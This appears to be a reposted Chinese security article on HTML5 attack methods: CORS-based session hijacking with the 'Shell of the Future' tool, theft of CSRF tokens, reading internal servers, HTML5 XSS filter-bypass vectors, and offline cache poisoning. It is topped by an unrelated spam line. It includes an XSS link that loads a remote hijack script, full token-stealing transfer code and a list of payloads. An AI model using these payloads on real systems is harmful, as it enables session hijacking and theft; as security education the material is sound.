自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

揭密HTML5帶來的攻擊手法

安全 應(yīng)用安全
本文詳細(xì)介紹了HTML5的普及,帶來的新的安全威脅。

HTML5 是下一代的HTML,HTML5賦予網(wǎng)頁更好的意義和結(jié)構(gòu)。更加豐富的標(biāo)簽將隨著對RDFa的,微數(shù)據(jù)與微格式等方面的支持,構(gòu)建對程序、對用戶都更有價值的數(shù)據(jù)驅(qū)動的Web。基于HTML5開發(fā)的網(wǎng)頁APP擁有更短的啟動時間,更快的聯(lián)網(wǎng)速度。本文詳細(xì)介紹了HTML5的普及,帶來的新的安全威脅。

揭密HTML5帶來的攻擊手法 

一、CORS(Cross-Origin Resource Sharing) 跨域資源共享

為了構(gòu)建高品質(zhì)的網(wǎng)站,以及滿足日益增長的用戶需求,HTML5針對SOP(同源策略)放寬了一些限制,簡單的說,同源策略允許來自同一站點的頁面訪問其頁面的方法和屬性等,但限制了跨域調(diào)用其他頁面的方法和屬性?,F(xiàn)在HTML5放寬了這些限制,XMLHttpRequest Level 2新增了功能CORS協(xié)議,允許Ajax發(fā)起跨域的請求,瀏覽器是可以發(fā)起跨域請求的,比如你可以外鏈一個外域的圖片或者腳本。但是Javascript腳本是不能獲取這些資源的內(nèi)容的,它只能被瀏覽器執(zhí)行或渲染。

COR是頁面層次的控制模式。每一個頁面需要返回一個名為‘Access-Control-Allow-Origin’的HTTP頭來允許外域的站點訪問。你可以僅僅暴露有限的資源和有限的外域站點訪問。在COR模式中,訪問控制的職責(zé)可以放到頁面開發(fā)者的手中,而不是服務(wù)器管理員。當(dāng)然頁面開發(fā)者需要寫專門的處理代碼來允許被外域訪問。

所以只要b.com允許,a.com可以使用ajax獲取A上任意數(shù)據(jù),國外安全研究者Lava Kumar開發(fā)了一款工具“Shell of the future”。

Shell of the Future 是一個反向Web Shell處理工具(Reverse Web Shell handler)。利用跨站腳本攻擊或瀏覽器地址欄注入javascript以后,Shell of the Future可進(jìn)行劫持會話。 它利用了HTML5支持的Cross Origin Requests,可以繞過一些反會話劫持的方法,如HTTP-Only限制的cookie,幫定IP地址的會話ID。

下載地址

如何使用該工具:

1、下載并解壓該工具,雙擊“Shell of the Future.exe”,會彈出一個窗口。

揭密HTML5帶來的攻擊手法

 

2、輸入任意端口,點擊“Start”。

3、使用瀏覽器訪問http://127.0.0.1:8008/sotf.console (firefox效果最佳)

4、不出問題,你將看到以下畫面。(Shell of the Future有兩個JavaScript的exp- e1.js和e2.js,我們可以利用XSS漏洞將其嵌入到受害者的瀏覽器)

揭密HTML5帶來的攻擊手法

 

5、當(dāng)一個用戶登錄下面的測試網(wǎng)站:

http://www.testfire.net/bank/login.aspx (admin/admin)

該站點的搜索功能粗在一個XSS漏洞,http://www.testfire.net/search.aspx?txtSearch=%3Cscript%3Ealert%2812%29%3C%2Fscript%3E

6、攻擊者發(fā)送一個惡意鏈接給用戶,如下:

http://www.testfire.net/search.aspx?txtSearch=%3Cscript%20src=%22http://127.0.0.1:8008/e1.js%22%3E%3C/script%3E

7、當(dāng)用戶點擊之后,攻擊者的IP地址將會發(fā)送給攻擊者,然后點擊“Hijack Session”:

揭密HTML5帶來的攻擊手法 

8、點擊Hijack Session之后,將出現(xiàn)如下畫面:

揭密HTML5帶來的攻擊手法 #p#

二、竊取CSRF令牌(token)

目前很多互聯(lián)網(wǎng)站點都在使用token來防御CSRF攻擊,但是隨著HTML5技術(shù)的普及,攻擊者很有可能竊取到CSRF的token,如果CSRF token的請求URL(GET請求),利用前面提到的CORS協(xié)議,攻擊者可以注入一個CSRF payload跨域請求到目標(biāo)站點上。當(dāng)然,利用的話需要服務(wù)端添加一個HTTP 頭字段“origin”,并且需要設(shè)置該屬性withCredentials為true,讓我們來看看如何利用:

1、某用戶登錄www.bank.com。

2、假設(shè)該站點有CSRF保護,即在表單提交的地方添加了隱藏的token,然后發(fā)送GET請求到服務(wù)端進(jìn)行驗證,如下:

揭密HTML5帶來的攻擊手法

3、攻擊者通過email、IM聊天工具或其他方式發(fā)送一個惡意站點ww.attackersite.com4、攻擊者可以提交一個Ajax請求到www.bank.com并且執(zhí)行一些操作,但是需要知道CSRF的token值。5、所以攻擊者需要竊取到token令牌,然后進(jìn)行CSRF攻擊。

6、攻擊者編寫了下面的一段代碼,發(fā)送Ajax請求到ConfirmTransfer.jsp頁面并接受其響應(yīng),在返回的數(shù)據(jù)包中搜索csrfToken,找到后,另外一個Ajax請求被發(fā)送,其中包含了CSRF token。

<!DOCTYPE html><html><head><script>function testing(){var xmlhttp;if (window.XMLHttpRequest)
  {
  xmlhttp=new XMLHttpRequest();
  }else
  {
  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
  }
xmlhttp.open("GET","http://bank/Myapp/ConfirmTransfer.jsp",false);
xmlhttp.send();if(xmlhttp.status==200){var str=xmlhttp.responseText;var n=str.search("csrfToken");var final=str.substring(n+18,n+28);var url = 
"http://bank/Myapp/TransferFund.jsp?datum1%2F=06-06-2013&amp;
Account=1234&amp;csrfToken=" + escape(final);
xmlhttp.open("GET", url, true);
xmlhttp.send();}}</script></head><body onload="testing();"></body></html>

以上的一切操作全在后臺進(jìn)行,用戶完全不知情,因此,在HTML5中,攻擊者完全可能獲取到CSRF TOKEN和執(zhí)行一些操作。#p#

三、訪問內(nèi)部服務(wù)器:

很多互聯(lián)網(wǎng)公司除了有ONLINE對外的業(yè)務(wù)之外,在內(nèi)部也用著很多的應(yīng)用,如財務(wù)管理系統(tǒng)、員工管理系統(tǒng)以及其他的一些內(nèi)部社區(qū)等,很多開發(fā)者為了各個應(yīng)用之間調(diào)用簡潔方便,在很多應(yīng)用中都添加了以下頭:

Control-Allow-Origin: *

攻擊者可以利用社會工程學(xué),讓內(nèi)部用戶點擊一個鏈接,然后攻擊者就可以訪問到內(nèi)部的一些資源,以下為操作步驟:

1、員工登錄到內(nèi)部的某應(yīng)用,如www.internalurl.com

2、internalurl服務(wù)器返回的響應(yīng)頭設(shè)置了Access-Control-Allow-Origin: *(允許任何域發(fā)起的請求都可以獲取當(dāng)前服務(wù)器的數(shù)據(jù)。)

3、員工受到一封郵件,點擊了鏈接 – www.malicioussite.com

4、這個站點包含了正常的UI內(nèi)容,所以員工一般不會察覺,但是,該頁面包含了一段javascript代碼。

5、該javascript代碼會發(fā)送一個XMLHttpRequest請求。

6、分析返回的數(shù)據(jù)包,并把它發(fā)送到攻擊者的服務(wù)器。

7、攻擊者獲取到公司內(nèi)部站點的相關(guān)信息。#p#

四、HTML5新的XSS攻擊載體

直到現(xiàn)在,還有很多開發(fā)者總喜歡開發(fā)自己定義的XSS黑名單過濾器,以阻止XSS攻擊,包含了大多網(wǎng)絡(luò)上常見的XSS利用的代碼,如img、script等,HTML5中引入了很多新的標(biāo)簽屬性,如audio和vedio標(biāo)簽,新的標(biāo)簽帶來了新的事件,會繞過現(xiàn)有的過濾器,以下為收集的HTML5存在跨站的標(biāo)簽:

<video> <source onerror=”javascript:alert(1)”><video onerror=”javascript:alert(1)”><source><audio onerror=”javascript:alert(1)”><source><input autofocus onfocus=alert(1)><select autofocus onfocus=alert(1)><textarea autofocus onfocus=alert(1)><keygen autofocus onfocus=alert(1)><button form=test onformchange=alert(2)>X
<form><button formaction=”javascript:alert(1)”

五、離線Web應(yīng)用緩存中毒:

大部分瀏覽器都支持HTML離線緩存技術(shù),如Google Chrome, Mozilla, Opera以及Safari,在給用戶帶來便捷的同時,也引發(fā)了一些列的安全威脅,如很有可能遭受“緩存中毒”的攻擊。如果攻擊者在網(wǎng)站上嵌入特定的JS文件,能夠控制用戶的賬戶。HTML5提供了manifest功能,它是html5提供的離線web應(yīng)用解決方案,它的作用有兩個:

1. 連網(wǎng)情況下,訪問使用manifest的頁面時(之前曾經(jīng)訪問過),會先加載一個manifest文件,如果這個manifest文件沒有改變,頁面相關(guān)的資源便都來自瀏覽器的離線緩存,不會再有額為的網(wǎng)絡(luò)請求,從而大大提高頁面相應(yīng)時間

2. 斷網(wǎng)時,在瀏覽器地址欄輸入頁面url,仍然能夠正常顯示頁面,以及正常使用不依賴ajax的功能

利用這個功能,攻擊者可以竊取用戶的憑據(jù),利用方法如下:

1、某黑木耳在星巴克鏈接到了一個不安全的WI-FI網(wǎng)絡(luò)環(huán)境。(攻擊者打造)

2、該黑木耳登錄新浪微博,攻擊者可劫持。

3、攻擊者設(shè)置該網(wǎng)站返回一個頁面,該頁面包含了一個隱藏的iframe,提示新浪微博登陸。

4、由于該網(wǎng)絡(luò)是由攻擊者控制,所以他提供的新浪微博登陸頁面中包含了manifest屬性,除了可以當(dāng)場劫持到黑木耳的微博帳號密碼之外,后面還可以長期劫持。

5、當(dāng)黑木耳喝完老干媽牌拿鐵之后,拿著心愛的神舟牌筆記本回家之后,想繼續(xù)曬自己的照片,繼續(xù)登錄微博。

6、瀏覽器會從緩存中載入偽造的登錄頁面。

7、帳號密碼隨后會發(fā)送到攻擊者。

因此,通過manifest屬性可以竊取用戶的憑據(jù),以上都是一些已經(jīng)研究出來的攻擊手法,相信隨著HTML5的高度發(fā)展,未來幾年內(nèi)會出現(xiàn)更多的攻擊手法。

原文地址:http://resources.infosecinstitute.com/demystifying-html-5-attacks/

責(zé)任編輯:藍(lán)雨淚 來源: FreebuF
相關(guān)推薦

2013-09-11 10:57:58

HTML5

2012-07-26 10:40:38

HTML5

2010-08-11 09:43:54

FlexHTML5

2012-06-05 10:48:23

2012-09-21 10:01:56

HTML5JS資訊

2013-01-24 10:26:04

HTML5HTML 5HTML5的未來

2012-05-21 10:05:10

HTML5

2011-05-13 17:36:05

HTML

2014-08-26 10:54:20

2023-03-16 09:00:00

HTML5HTML語言

2013-01-04 11:22:12

2013-01-04 13:30:04

2013-01-04 13:39:51

2013-01-04 11:40:54

2013-10-21 15:24:49

html5游戲

2011-12-08 10:59:07

2010-08-30 11:55:28

2013-01-04 11:38:35

2013-01-04 13:14:22

2019-05-13 10:42:53

點贊
收藏

51CTO技術(shù)棧公眾號